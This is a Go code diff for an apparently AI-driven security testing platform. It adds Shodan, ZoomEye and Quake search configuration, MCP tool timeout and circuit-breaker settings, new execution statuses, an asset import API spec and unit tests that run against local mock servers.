h.logger.Info("更新FOFA配置", zap.String("base_url", h.config.FOFA.BaseURL))
}
if req.ZoomEye != nil {
h.config.ZoomEye = *req.ZoomEye
h.logger.Info("更新ZoomEye配置", zap.String("base_url", h.config.ZoomEye.BaseURL))
}
if req.Quake != nil {
h.config.Quake = *req.Quake
h.logger.Info("更新Quake配置", zap.String("base_url", h.config.Quake.BaseURL))
}
if req.Shodan != nil {
h.config.Shodan = *req.Shodan
h.logger.Info("更新Shodan配置", zap.String("base_url", h.config.Shodan.BaseURL))
}
// 更新MCP配置
@@ -794,12 +835,35 @@ func (h *ConfigHandler) UpdateConfig(c *gin.Context) {
h.logger.Info("更新Agent配置",
zap.Int("max_iterations", h.config.Agent.MaxIterations),
zap.Int("tool_timeout_minutes", h.config.Agent.ToolTimeoutMinutes),
zap.Int("tool_wait_timeout_seconds", h.config.Agent.ToolWaitTimeoutSeconds),
zap.Int("external_mcp_max_concurrent_per_server", h.config.Agent.ExternalMCPMaxConcurrentPerServer),
zap.Int("external_mcp_max_concurrent_total", h.config.Agent.ExternalMCPMaxConcurrentTotal),
zap.Int("external_mcp_circuit_failure_threshold", h.config.Agent.ExternalMCPCircuitFailureThreshold),
zap.Int("external_mcp_circuit_cooldown_seconds", h.config.Agent.ExternalMCPCircuitCooldownSeconds),
)
if h.agent != nil && req.Agent.MaxIterations != nil {
h.agent.UpdateMaxIterations(h.config.Agent.MaxIterations)
}
if h.executor != nil {
h.executor.SetToolOutputMaxBytes(h.config.MultiAgent.EinoMiddleware.ReductionMaxLengthForTruncEffective())
h.executor.SetToolOutputSpillRoot(h.config.MultiAgent.EinoMiddleware.ReductionRootDir)
}
if h.mcpServer != nil {
h.mcpServer.ConfigureHTTPToolCallTimeoutFromAgentMinutes(h.config.Agent.ToolTimeoutMinutes)
h.mcpServer.ConfigureToolWaitTimeoutSeconds(h.config.Agent.ToolWaitTimeoutSeconds)
h.mcpServer.ConfigureToolResultMaxBytes(h.config.MultiAgent.EinoMiddleware.ReductionMaxLengthForTruncEffective())
h.mcpServer.ConfigureToolResultSpillRoot(h.config.MultiAgent.EinoMiddleware.ReductionRootDir)
}
if h.externalMCPMgr != nil {
h.externalMCPMgr.ConfigureToolWaitTimeoutSeconds(h.config.Agent.ToolWaitTimeoutSeconds)
h.externalMCPMgr.ConfigureToolResultMaxBytes(h.config.MultiAgent.EinoMiddleware.ReductionMaxLengthForTruncEffective())
h.externalMCPMgr.ConfigureToolResultSpillRoot(h.config.MultiAgent.EinoMiddleware.ReductionRootDir)
h.externalMCPMgr.ConfigureResilience(mcp.ExternalMCPResilienceConfig{
MaxConcurrentPerServer: h.config.Agent.ExternalMCPMaxConcurrentPerServer,
MaxConcurrentTotal: h.config.Agent.ExternalMCPMaxConcurrentTotal,
CircuitFailureThreshold: h.config.Agent.ExternalMCPCircuitFailureThreshold,
CircuitCooldown: time.Duration(h.config.Agent.ExternalMCPCircuitCooldownSeconds) * time.Second,
})
}
}
@@ -1450,7 +1514,10 @@ func (h *ConfigHandler) ApplyConfig(c *gin.Context) {
h.mcpServer.ClearTools()
// 重新注册安全工具
h.executor.SetToolOutputMaxBytes(h.config.MultiAgent.EinoMiddleware.ReductionMaxLengthForTruncEffective())
h.executor.SetToolOutputSpillRoot(h.config.MultiAgent.EinoMiddleware.ReductionRootDir)
h.executor.RegisterTools(h.mcpServer)
mcp.RegisterExecutionControlTools(h.mcpServer, h.externalMCPMgr)
// 重新注册漏洞记录工具(内置工具,必须注册)
if h.vulnerabilityToolRegistrar != nil {
@@ -1521,6 +1588,24 @@ func (h *ConfigHandler) ApplyConfig(c *gin.Context) {
}
if h.mcpServer != nil {
h.mcpServer.ConfigureHTTPToolCallTimeoutFromAgentMinutes(h.config.Agent.ToolTimeoutMinutes)
h.mcpServer.ConfigureToolWaitTimeoutSeconds(h.config.Agent.ToolWaitTimeoutSeconds)
h.mcpServer.ConfigureToolResultMaxBytes(h.config.MultiAgent.EinoMiddleware.ReductionMaxLengthForTruncEffective())
h.mcpServer.ConfigureToolResultSpillRoot(h.config.MultiAgent.EinoMiddleware.ReductionRootDir)
}
if h.executor != nil {
h.executor.SetToolOutputMaxBytes(h.config.MultiAgent.EinoMiddleware.ReductionMaxLengthForTruncEffective())
h.executor.SetToolOutputSpillRoot(h.config.MultiAgent.EinoMiddleware.ReductionRootDir)
}
if h.externalMCPMgr != nil {
h.externalMCPMgr.ConfigureToolWaitTimeoutSeconds(h.config.Agent.ToolWaitTimeoutSeconds)
h.externalMCPMgr.ConfigureToolResultMaxBytes(h.config.MultiAgent.EinoMiddleware.ReductionMaxLengthForTruncEffective())
h.externalMCPMgr.ConfigureToolResultSpillRoot(h.config.MultiAgent.EinoMiddleware.ReductionRootDir)
h.externalMCPMgr.ConfigureResilience(mcp.ExternalMCPResilienceConfig{
MaxConcurrentPerServer: h.config.Agent.ExternalMCPMaxConcurrentPerServer,
MaxConcurrentTotal: h.config.Agent.ExternalMCPMaxConcurrentTotal,
CircuitFailureThreshold: h.config.Agent.ExternalMCPCircuitFailureThreshold,
CircuitCooldown: time.Duration(h.config.Agent.ExternalMCPCircuitCooldownSeconds) * time.Second,
})
}
// 更新AttackChainHandler的OpenAI配置
@@ -1601,6 +1686,9 @@ func (h *ConfigHandler) saveConfig() error {
updateOpenAIConfig(root, h.config.OpenAI)
updateVisionConfig(root, h.config.Vision)
updateFOFAConfig(root, h.config.FOFA)
updateSpaceSearchConfig(root, "zoomeye", h.config.ZoomEye)
updateSpaceSearchConfig(root, "quake", h.config.Quake)
updateSpaceSearchConfig(root, "shodan", h.config.Shodan)
updateKnowledgeConfig(root, h.config.Knowledge)
updateC2Config(root, h.config.C2)
updateRobotsConfig(root, h.config.Robots)
@@ -1707,6 +1795,11 @@ func updateAgentConfig(doc *yaml.Node, agent config.AgentConfig) {
agentNode := ensureMap(root, "agent")
setIntInMap(agentNode, "max_iterations", agent.MaxIterations)
setIntInMap(agentNode, "tool_timeout_minutes", agent.ToolTimeoutMinutes)
setIntInMap(agentNode, "tool_wait_timeout_seconds", agent.ToolWaitTimeoutSeconds)
setIntInMap(agentNode, "external_mcp_max_concurrent_per_server", agent.ExternalMCPMaxConcurrentPerServer)
setIntInMap(agentNode, "external_mcp_max_concurrent_total", agent.ExternalMCPMaxConcurrentTotal)
setIntInMap(agentNode, "external_mcp_circuit_failure_threshold", agent.ExternalMCPCircuitFailureThreshold)
setIntInMap(agentNode, "external_mcp_circuit_cooldown_seconds", agent.ExternalMCPCircuitCooldownSeconds)
setStringInMap(agentNode, "system_prompt_path", agent.SystemPromptPath)
}
@@ -1788,10 +1881,17 @@ func updateFOFAConfig(doc *yaml.Node, cfg config.FofaConfig) {
root := doc.Content[0]
fofaNode := ensureMap(root, "fofa")
setStringInMap(fofaNode, "base_url", cfg.BaseURL)
setStringInMap(fofaNode, "email", cfg.Email)
removeKeyFromMap(fofaNode, "email")
setStringInMap(fofaNode, "api_key", cfg.APIKey)
}
func updateSpaceSearchConfig(doc *yaml.Node, key string, cfg config.SpaceSearchConfig) {
root := doc.Content[0]
node := ensureMap(root, key)
setStringInMap(node, "base_url", cfg.BaseURL)
setStringInMap(node, "api_key", cfg.APIKey)
}
func updateKnowledgeConfig(doc *yaml.Node, cfg config.KnowledgeConfig) {
root := doc.Content[0]
knowledgeNode := ensureMap(root, "knowledge")
@@ -2102,6 +2202,18 @@ func setStringInMap(mapNode *yaml.Node, key, value string) {
valueNode.Value = value
}
func removeKeyFromMap(mapNode *yaml.Node, key string) {
if mapNode == nil || mapNode.Kind != yaml.MappingNode {
return
}
for i := 0; i+1 < len(mapNode.Content); i += 2 {
if mapNode.Content[i].Value == key {
mapNode.Content = append(mapNode.Content[:i], mapNode.Content[i+2:]...)
return
}
}
}
func setStringSliceInMap(mapNode *yaml.Node, key string, values []string) {
_, valueNode := ensureKeyValue(mapNode, key)
valueNode.Kind = yaml.SequenceNode
+1
View File
@@ -373,6 +373,7 @@ func summarizeProcessDetailData(eventType string, data interface{}) interface{}
"success": true, "isError": true, "executionId": true,
"einoAgent": true, "einoRole": true, "einoScope": true, "orchestration": true,
"agentFacing": true,
"status": true, "modelFacingIsError": true, "resultPreview": true,
}
out := make(map[string]interface{}, len(allow)+1)
for k, v := range m {
+726 -164
View File
File diff suppressed because it is too large Load Diff
+199
View File
@@ -0,0 +1,199 @@
package handler
import (
"context"
"encoding/json"
"fmt"
"net/http"
"net/http/httptest"
"net/url"
"strings"
"testing"
"cyberstrike-ai/internal/config"
"github.com/gin-gonic/gin"
"go.uber.org/zap"
)
func TestFofaSearchUsesAPIKeyWithoutEmail(t *testing.T) {
gin.SetMode(gin.TestMode)
t.Setenv("FOFA_API_KEY", "")
t.Setenv("FOFA_EMAIL", "legacy@example.com")
var receivedEmail string
var receivedKey string
fofaServer := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
receivedEmail = r.URL.Query().Get("email")
receivedKey = r.URL.Query().Get("key")
w.Header().Set("Content-Type", "application/json")
_, _ = w.Write([]byte(`{"error":false,"size":1,"page":1,"results":[["https://example.com"]]}`))
}))
defer fofaServer.Close()
h := NewFofaHandler(&config.Config{
FOFA: config.FofaConfig{
BaseURL: fofaServer.URL,
APIKey: "test-api-key",
},
}, zap.NewNop())
recorder := httptest.NewRecorder()
ctx, _ := gin.CreateTestContext(recorder)
body := `{"query":"domain=\"example.com\"","fields":"host"}`
ctx.Request = httptest.NewRequest(http.MethodPost, "/api/fofa/search", strings.NewReader(body))
ctx.Request.Header.Set("Content-Type", "application/json")
h.Search(ctx)
if recorder.Code != http.StatusOK {
t.Fatalf("Search() status = %d, body = %s", recorder.Code, recorder.Body.String())
}
if receivedEmail != "" {
t.Fatalf("FOFA request unexpectedly included email = %q", receivedEmail)
}
if receivedKey != "test-api-key" {
t.Fatalf("FOFA request key = %q, want %q", receivedKey, "test-api-key")
}
var response fofaSearchResponse
if err := json.Unmarshal(recorder.Body.Bytes(), &response); err != nil {
t.Fatalf("decode response: %v", err)
}
if response.ResultsCount != 1 {
t.Fatalf("results_count = %d, want 1", response.ResultsCount)
}
}
func TestSafeFofaRequestErrorDoesNotExposeURLOrAPIKey(t *testing.T) {
const secretURL = "https://fofa.info/api/v1/search/all?key=secret-api-key"
err := &url.Error{
Op: http.MethodGet,
URL: secretURL,
Err: context.DeadlineExceeded,
}
status, message, timeout := safeFofaRequestError(err)
if status != http.StatusGatewayTimeout {
t.Fatalf("status = %d, want %d", status, http.StatusGatewayTimeout)
}
if !timeout {
t.Fatal("timeout = false, want true")
}
if strings.Contains(message, "secret-api-key") || strings.Contains(message, secretURL) {
t.Fatalf("safe error exposed request URL or API key: %q", message)
}
}
func TestShodanSearchReportsShortfallWhenTotalExceedsMatches(t *testing.T) {
gin.SetMode(gin.TestMode)
t.Setenv("SHODAN_API_KEY", "")
shodanServer := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
if r.URL.Path != "/shodan/host/search" {
t.Fatalf("unexpected path: %s", r.URL.Path)
}
if got := r.URL.Query().Get("key"); got != "test-shodan-key" {
t.Fatalf("Shodan key = %q, want test-shodan-key", got)
}
page := r.URL.Query().Get("page")
count := 0
switch page {
case "1":
count = 100
case "2":
count = 3
default:
count = 0
}
matches := make([]map[string]interface{}, 0, count)
for i := 0; i < count; i++ {
matches = append(matches, map[string]interface{}{
"ip_str": fmt.Sprintf("192.0.2.%d", i+1),
"port": 80,
})
}
w.Header().Set("Content-Type", "application/json")
_ = json.NewEncoder(w).Encode(map[string]interface{}{
"total": 104,
"matches": matches,
})
}))
defer shodanServer.Close()
h := NewFofaHandler(&config.Config{
Shodan: config.SpaceSearchConfig{
BaseURL: shodanServer.URL,
APIKey: "test-shodan-key",
},
}, zap.NewNop())
recorder := httptest.NewRecorder()
ctx, _ := gin.CreateTestContext(recorder)
body := `{"provider":"shodan","query":"product:nginx","fields":"ip_str,port","size":1000,"page":1}`
ctx.Request = httptest.NewRequest(http.MethodPost, "/api/fofa/search", strings.NewReader(body))
ctx.Request.Header.Set("Content-Type", "application/json")
h.Search(ctx)
if recorder.Code != http.StatusOK {
t.Fatalf("Search() status = %d, body = %s", recorder.Code, recorder.Body.String())
}
var response fofaSearchResponse
if err := json.Unmarshal(recorder.Body.Bytes(), &response); err != nil {
t.Fatalf("decode response: %v", err)
}
if response.Total != 104 || response.ResultsCount != 103 {
t.Fatalf("counts: total=%d results_count=%d, want 104/103", response.Total, response.ResultsCount)
}
if response.ExpectedCount != 104 || response.Shortfall != 1 {
t.Fatalf("shortfall: expected=%d shortfall=%d, want 104/1", response.ExpectedCount, response.Shortfall)
}
if response.Warning == "" {
t.Fatal("warning should explain shortfall")
}
}
func TestExtractInfoCollectJSONObject(t *testing.T) {
t.Parallel()
cases := []struct {
name string
in string
want string
}{
{
name: "plain json",
in: `{"query":"title:\"CyberStrikeAI\"","warnings":[]}`,
want: `{"query":"title:\"CyberStrikeAI\"","warnings":[]}`,
},
{
name: "fenced json",
in: "```json\n{\"query\":\"product:nginx\"}\n```",
want: `{"query":"product:nginx"}`,
},
{
name: "prefixed explanation",
in: "解析结果如下:\n{\"query\":\"ssl.cert.subject.cn:example.com\",\"explanation\":\"ok\"}\n请确认。",
want: `{"query":"ssl.cert.subject.cn:example.com","explanation":"ok"}`,
},
{
name: "braces inside string",
in: "结果:{\"query\":\"title:\\\"{admin}\\\"\",\"warnings\":[\"check\"]}",
want: `{"query":"title:\"{admin}\"","warnings":["check"]}`,
},
}
for _, tc := range cases {
tc := tc
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
got, err := extractInfoCollectJSONObject(tc.in)
if err != nil {
t.Fatalf("extractInfoCollectJSONObject() error = %v", err)
}
if got != tc.want {
t.Fatalf("extractInfoCollectJSONObject() = %q, want %q", got, tc.want)
}
})
}
}
+13 -4
View File
@@ -167,7 +167,7 @@ func summarizeAccessibleExecutionPage(executions []*mcp.ToolExecution, topN int)
stats[exec.ToolName] = stat
}
stat.TotalCalls++
if exec.Status == "failed" || exec.Status == "cancelled" {
if monitorStatusCountsAsFailed(exec.Status) {
stat.FailedCalls++
} else if exec.Status == "completed" {
stat.SuccessCalls++
@@ -180,6 +180,15 @@ func summarizeAccessibleExecutionPage(executions []*mcp.ToolExecution, topN int)
return summarizeToolStats(stats, topN)
}
func monitorStatusCountsAsFailed(status string) bool {
switch strings.TrimSpace(strings.ToLower(status)) {
case "failed", "hard_timeout", "orphaned":
return true
default:
return false
}
}
func (h *MonitorHandler) monitorRetentionDays() int {
if h.monitorRetention != nil {
return h.monitorRetention.RetentionDays()
@@ -813,7 +822,7 @@ func (h *MonitorHandler) loadCallsTimeline(cfg callsTimelineConfig) []CallsTimel
key := truncateToBucket(exec.StartTime, cfg.bucketSize, cfg.dailyBuckets)
entry := bucketMap[key]
entry.total++
if exec.Status == "failed" || exec.Status == "cancelled" {
if monitorStatusCountsAsFailed(exec.Status) {
entry.failed++
}
bucketMap[key] = entry
@@ -876,7 +885,7 @@ func (h *MonitorHandler) DeleteExecution(c *gin.Context) {
totalCalls := 1
successCalls := 0
failedCalls := 0
if exec.Status == "failed" || exec.Status == "cancelled" {
if monitorStatusCountsAsFailed(exec.Status) {
failedCalls = 1
} else if exec.Status == "completed" {
successCalls = 1
@@ -951,7 +960,7 @@ func (h *MonitorHandler) DeleteExecutions(c *gin.Context) {
stats := toolStats[exec.ToolName]
stats.totalCalls++
if exec.Status == "failed" || exec.Status == "cancelled" {
if monitorStatusCountsAsFailed(exec.Status) {
stats.failedCalls++
} else if exec.Status == "completed" {
stats.successCalls++
+4
View File
@@ -56,6 +56,7 @@ func (h *AgentHandler) prepareMultiAgentSession(req *ChatRequest, c *gin.Context
var err error
meta := audit.ConversationCreateMetaFromGin(c, source)
meta.ProjectID = projectID
meta.RoleName = req.Role
if webshellID != "" {
meta.Source = source + "_webshell"
meta.WebShellConnectionID = webshellID
@@ -80,6 +81,9 @@ func (h *AgentHandler) prepareMultiAgentSession(req *ChatRequest, c *gin.Context
return nil, fmt.Errorf("无权访问该对话")
}
}
if err := h.db.SetConversationRoleName(conversationID, req.Role); err != nil {
h.logger.Warn("更新对话角色失败", zap.String("conversationId", conversationID), zap.String("role", req.Role), zap.Error(err))
}
agentHistoryMessages, err := h.loadHistoryFromAgentTrace(conversationID)
if err != nil {
+145 -4
View File
@@ -241,6 +241,58 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
},
},
},
"AssetImportItem": map[string]interface{}{
"type": "object",
"description": "待导入资产;host、ip、domain 至少一项非空",
"properties": map[string]interface{}{
"project_id": map[string]interface{}{"type": "string", "description": "所属项目 ID;调用者必须有权访问"},
"host": map[string]interface{}{"type": "string", "maxLength": 500, "example": "https://app.example.com:443"},
"ip": map[string]interface{}{"type": "string", "example": "192.0.2.10"},
"port": map[string]interface{}{"type": "integer", "minimum": 0, "maximum": 65535, "example": 443},
"domain": map[string]interface{}{"type": "string", "example": "app.example.com"},
"protocol": map[string]interface{}{"type": "string", "example": "https"},
"title": map[string]interface{}{"type": "string", "maxLength": 500},
"server": map[string]interface{}{"type": "string", "maxLength": 255, "example": "nginx"},
"country": map[string]interface{}{"type": "string"},
"province": map[string]interface{}{"type": "string"},
"city": map[string]interface{}{"type": "string"},
"responsible_person": map[string]interface{}{"type": "string", "maxLength": 255, "description": "资产负责人"},
"department": map[string]interface{}{"type": "string", "maxLength": 255, "description": "所属部门"},
"business_system": map[string]interface{}{"type": "string", "maxLength": 255, "description": "所属业务系统"},
"environment": map[string]interface{}{"type": "string", "enum": []string{"production", "staging", "testing", "development", "other"}},
"criticality": map[string]interface{}{"type": "string", "enum": []string{"critical", "high", "medium", "low"}},
"source": map[string]interface{}{"type": "string"},
"source_query": map[string]interface{}{"type": "string"},
"status": map[string]interface{}{"type": "string", "enum": []string{"active", "inactive"}, "default": "active"},
"tags": map[string]interface{}{
"type": "array",
"maxItems": 30,
"items": map[string]interface{}{"type": "string", "maxLength": 64},
},
},
},
"AssetImportRequest": map[string]interface{}{
"type": "object",
"required": []string{"assets"},
"properties": map[string]interface{}{
"assets": map[string]interface{}{
"type": "array",
"minItems": 1,
"maxItems": 100000,
"items": map[string]interface{}{"$ref": "#/components/schemas/AssetImportItem"},
},
"source": map[string]interface{}{"type": "string", "description": "未在资产中填写来源时使用的默认来源"},
"source_query": map[string]interface{}{"type": "string", "description": "默认来源查询或导入文件名"},
},
},
"AssetImportResult": map[string]interface{}{
"type": "object",
"properties": map[string]interface{}{
"created": map[string]interface{}{"type": "integer", "description": "新建数量", "example": 120},
"updated": map[string]interface{}{"type": "integer", "description": "去重合并数量", "example": 8},
"skipped": map[string]interface{}{"type": "integer", "description": "跳过数量", "example": 2},
},
},
"ExecutionResult": map[string]interface{}{
"type": "object",
"properties": map[string]interface{}{
@@ -255,7 +307,7 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
"status": map[string]interface{}{
"type": "string",
"description": "执行状态",
"enum": []string{"success", "failed", "running"},
"enum": []string{"queued", "running", "completed", "failed", "cancelled", "hard_timeout", "orphaned"},
},
"result": map[string]interface{}{
"type": "string",
@@ -726,7 +778,7 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
"status": map[string]interface{}{
"type": "string",
"description": "执行状态",
"enum": []string{"success", "failed", "running"},
"enum": []string{"queued", "running", "completed", "failed", "cancelled", "hard_timeout", "orphaned"},
},
"createdAt": map[string]interface{}{
"type": "string",
@@ -787,6 +839,9 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
"type": "object",
"description": "配置信息(含 openai、vision、multi_agent 等)",
"properties": map[string]interface{}{
"agent": map[string]interface{}{
"$ref": "#/components/schemas/AgentConfig",
},
"vision": map[string]interface{}{
"$ref": "#/components/schemas/VisionConfig",
},
@@ -796,11 +851,30 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
"type": "object",
"description": "更新配置请求",
"properties": map[string]interface{}{
"agent": map[string]interface{}{
"$ref": "#/components/schemas/AgentConfig",
},
"vision": map[string]interface{}{
"$ref": "#/components/schemas/VisionConfig",
},
},
},
"AgentConfig": map[string]interface{}{
"type": "object",
"description": "Agent 运行与外部 MCP 防卡死保护配置",
"properties": map[string]interface{}{
"max_iterations": map[string]interface{}{"type": "integer", "description": "最大迭代次数"},
"tool_timeout_minutes": map[string]interface{}{"type": "integer", "description": "单次工具执行硬超时(分钟)"},
"tool_wait_timeout_seconds": map[string]interface{}{"type": "integer", "description": "工具单轮等待秒数;到时返回 execution_idworker 继续后台执行"},
"external_mcp_max_concurrent_per_server": map[string]interface{}{"type": "integer", "description": "单个外部 MCP server 并发上限;0=默认2;负数=不限制"},
"external_mcp_max_concurrent_total": map[string]interface{}{"type": "integer", "description": "外部 MCP 全局并发上限;0=默认16;负数=不限制"},
"external_mcp_circuit_failure_threshold": map[string]interface{}{"type": "integer", "description": "连续失败熔断阈值;0=默认3;负数=关闭熔断"},
"external_mcp_circuit_cooldown_seconds": map[string]interface{}{"type": "integer", "description": "熔断冷却秒数;0=默认60"},
"shell_no_output_timeout_seconds": map[string]interface{}{"type": "integer", "description": "execute/exec 连续无输出终止秒数"},
"workspace_root_dir": map[string]interface{}{"type": "string", "description": "会话工作目录根路径"},
"system_prompt_path": map[string]interface{}{"type": "string", "description": "单代理系统提示文件路径"},
},
},
"VisionConfig": map[string]interface{}{
"type": "object",
"description": "视觉分析(analyze_image MCP 工具);enabled 且 model 非空时注册工具",
@@ -2434,6 +2508,36 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
},
},
},
"/api/assets/import": map[string]interface{}{
"post": map[string]interface{}{
"tags": []string{"资产管理"},
"summary": "批量导入资产",
"description": "新增或按“目标 + 端口 + 协议”去重更新资产。接收 JSON,不直接接收 XLSX/CSV 文件;单次最多 100000 条,需要 asset:write 权限。",
"operationId": "importAssets",
"requestBody": map[string]interface{}{
"required": true,
"content": map[string]interface{}{
"application/json": map[string]interface{}{
"schema": map[string]interface{}{"$ref": "#/components/schemas/AssetImportRequest"},
},
},
},
"responses": map[string]interface{}{
"200": map[string]interface{}{
"description": "导入完成",
"content": map[string]interface{}{
"application/json": map[string]interface{}{
"schema": map[string]interface{}{"$ref": "#/components/schemas/AssetImportResult"},
},
},
},
"400": map[string]interface{}{"description": "数量或资产字段校验失败"},
"401": map[string]interface{}{"description": "未授权"},
"403": map[string]interface{}{"description": "缺少 asset:write 权限或无权访问指定项目"},
"500": map[string]interface{}{"description": "导入事务失败"},
},
},
},
"/api/projects": map[string]interface{}{
"get": map[string]interface{}{
"tags": []string{"项目管理"},
@@ -3401,7 +3505,7 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
"description": "状态筛选",
"schema": map[string]interface{}{
"type": "string",
"enum": []string{"success", "failed", "running"},
"enum": []string{"queued", "running", "completed", "failed", "cancelled", "hard_timeout", "orphaned"},
},
},
{
@@ -5694,10 +5798,15 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
"get": map[string]interface{}{
"tags": []string{"对话附件"},
"summary": "列出附件",
"description": "获取对话附件文件列表,可按对话ID过滤。",
"description": "获取对话文件列表,包含手动上传附件、工具输出和会话产物,可按会话、项目、来源、文件名搜索和分页过滤。",
"operationId": "listChatUploads",
"parameters": []map[string]interface{}{
{"name": "conversation", "in": "query", "required": false, "description": "按对话ID过滤", "schema": map[string]interface{}{"type": "string"}},
{"name": "project", "in": "query", "required": false, "description": "按项目ID过滤", "schema": map[string]interface{}{"type": "string"}},
{"name": "source", "in": "query", "required": false, "description": "按来源过滤:upload/reduction/conversation_artifact/all", "schema": map[string]interface{}{"type": "string", "enum": []string{"all", "upload", "reduction", "conversation_artifact"}}},
{"name": "search", "in": "query", "required": false, "description": "按文件名或子路径搜索", "schema": map[string]interface{}{"type": "string"}},
{"name": "page", "in": "query", "required": false, "description": "页码,从1开始", "schema": map[string]interface{}{"type": "integer", "default": 1}},
{"name": "pageSize", "in": "query", "required": false, "description": "每页数量,传 all 返回全部", "schema": map[string]interface{}{"oneOf": []map[string]interface{}{{"type": "integer"}, {"type": "string", "enum": []string{"all"}}}}},
},
"responses": map[string]interface{}{
"200": map[string]interface{}{
@@ -5719,11 +5828,18 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
"modifiedUnix": map[string]interface{}{"type": "integer"},
"date": map[string]interface{}{"type": "string"},
"conversationId": map[string]interface{}{"type": "string"},
"projectId": map[string]interface{}{"type": "string"},
"subPath": map[string]interface{}{"type": "string"},
"source": map[string]interface{}{"type": "string", "description": "upload/reduction/conversation_artifact"},
},
},
},
"folders": map[string]interface{}{"type": "array", "items": map[string]interface{}{"type": "string"}},
"total": map[string]interface{}{"type": "integer"},
"page": map[string]interface{}{"type": "integer"},
"pageSize": map[string]interface{}{
"type": "integer",
},
},
},
},
@@ -5798,6 +5914,31 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
},
},
},
"/api/chat-uploads/export": map[string]interface{}{
"get": map[string]interface{}{
"tags": []string{"对话附件"},
"summary": "导出附件",
"description": "按当前过滤条件导出对话文件 ZIP,包含 manifest.json。",
"operationId": "exportChatUploads",
"parameters": []map[string]interface{}{
{"name": "conversation", "in": "query", "required": false, "description": "按对话ID过滤", "schema": map[string]interface{}{"type": "string"}},
{"name": "project", "in": "query", "required": false, "description": "按项目ID过滤", "schema": map[string]interface{}{"type": "string"}},
{"name": "source", "in": "query", "required": false, "description": "按来源过滤:upload/reduction/conversation_artifact/all", "schema": map[string]interface{}{"type": "string", "enum": []string{"all", "upload", "reduction", "conversation_artifact"}}},
{"name": "search", "in": "query", "required": false, "description": "按文件名或子路径搜索", "schema": map[string]interface{}{"type": "string"}},
},
"responses": map[string]interface{}{
"200": map[string]interface{}{
"description": "ZIP文件下载",
"content": map[string]interface{}{
"application/zip": map[string]interface{}{
"schema": map[string]interface{}{"type": "string", "format": "binary"},
},
},
},
"401": map[string]interface{}{"description": "未授权"},
},
},
},
"/api/chat-uploads/download": map[string]interface{}{
"get": map[string]interface{}{
"tags": []string{"对话附件"},
+7 -3
View File
@@ -11,7 +11,7 @@ var apiDocI18nTagToKey = map[string]string{
"知识库": "knowledgeBase", "MCP": "mcp",
"FOFA信息收集": "fofaRecon", "终端": "terminal", "WebShell管理": "webshellManagement",
"对话附件": "chatUploads", "机器人集成": "robotIntegration", "多代理Markdown": "markdownAgents",
"项目管理": "projectManagement",
"项目管理": "projectManagement", "资产管理": "assetManagement",
}
var apiDocI18nSummaryToKey = map[string]string{
@@ -61,7 +61,7 @@ var apiDocI18nSummaryToKey = map[string]string{
"获取连接状态": "getWebshellConnectionState", "保存连接状态": "saveWebshellConnectionState",
"获取AI对话历史": "getWebshellAIHistory", "列出AI对话": "listWebshellAIConversations",
"执行WebShell命令": "webshellExec", "WebShell文件操作": "webshellFileOp",
"列出附件": "listChatUploads", "上传附件": "uploadChatFile", "删除附件": "deleteChatUpload",
"列出附件": "listChatUploads", "导出附件": "exportChatUploads", "上传附件": "uploadChatFile", "删除附件": "deleteChatUpload",
"下载附件": "downloadChatUpload", "获取附件文本内容": "getChatUploadContent",
"写入附件文本内容": "putChatUploadContent", "创建附件目录": "mkdirChatUpload", "重命名附件": "renameChatUpload",
"企业微信回调验证": "wecomCallbackVerify", "企业微信消息回调": "wecomCallbackMessage",
@@ -71,8 +71,9 @@ var apiDocI18nSummaryToKey = map[string]string{
"列出技能包文件": "listSkillPackageFiles", "获取技能包文件内容": "getSkillPackageFile", "写入技能包文件": "putSkillPackageFile",
"批量获取工具名称": "batchGetToolNames",
"获取知识库统计": "getKnowledgeStats",
"列出项目": "listProjects", "创建项目": "createProject", "获取项目": "getProject",
"列出项目": "listProjects", "创建项目": "createProject", "获取项目": "getProject",
"更新项目": "updateProject", "删除项目": "deleteProject",
"批量导入资产": "importAssets",
"列出或按 key 获取事实": "listProjectFacts", "创建/更新事实": "upsertProjectFact",
"获取项目事实攻击路径图": "getProjectFactGraph", "列出项目全部事实边": "listProjectFactEdges",
"添加事实边": "createProjectFactEdge", "删除事实边": "deleteProjectFactEdge",
@@ -109,6 +110,9 @@ var apiDocI18nResponseDescToKey = map[string]string{
"成功": "success", "nodes + edges": "factGraphNodesEdges",
"边列表": "edgeList", "边已创建": "edgeCreated",
"沉淀结果(facts/edges/graph": "promoteAttackChainResult",
"导入完成": "assetImportCompleted", "数量或资产字段校验失败": "assetImportValidationFailed",
"缺少 asset:write 权限或无权访问指定项目": "assetImportForbidden",
"导入事务失败": "assetImportTransactionFailed",
}
// enrichSpecWithI18nKeys 在 spec 的每个 operation 上写入 x-i18n-tags、x-i18n-summary
+46
View File
@@ -0,0 +1,46 @@
package handler
import "testing"
func TestEnrichSpecWithI18nKeysForAssetImport(t *testing.T) {
responses := map[string]interface{}{
"200": map[string]interface{}{"description": "导入完成"},
"400": map[string]interface{}{"description": "数量或资产字段校验失败"},
"403": map[string]interface{}{"description": "缺少 asset:write 权限或无权访问指定项目"},
"500": map[string]interface{}{"description": "导入事务失败"},
}
operation := map[string]interface{}{
"tags": []string{"资产管理"},
"summary": "批量导入资产",
"responses": responses,
}
spec := map[string]interface{}{
"paths": map[string]interface{}{
"/api/assets/import": map[string]interface{}{
"post": operation,
},
},
}
enrichSpecWithI18nKeys(spec)
tagKeys, ok := operation["x-i18n-tags"].([]string)
if !ok || len(tagKeys) != 1 || tagKeys[0] != "assetManagement" {
t.Fatalf("unexpected asset tag i18n keys: %#v", operation["x-i18n-tags"])
}
if got := operation["x-i18n-summary"]; got != "importAssets" {
t.Fatalf("unexpected asset summary i18n key: %#v", got)
}
expectedResponseKeys := map[string]string{
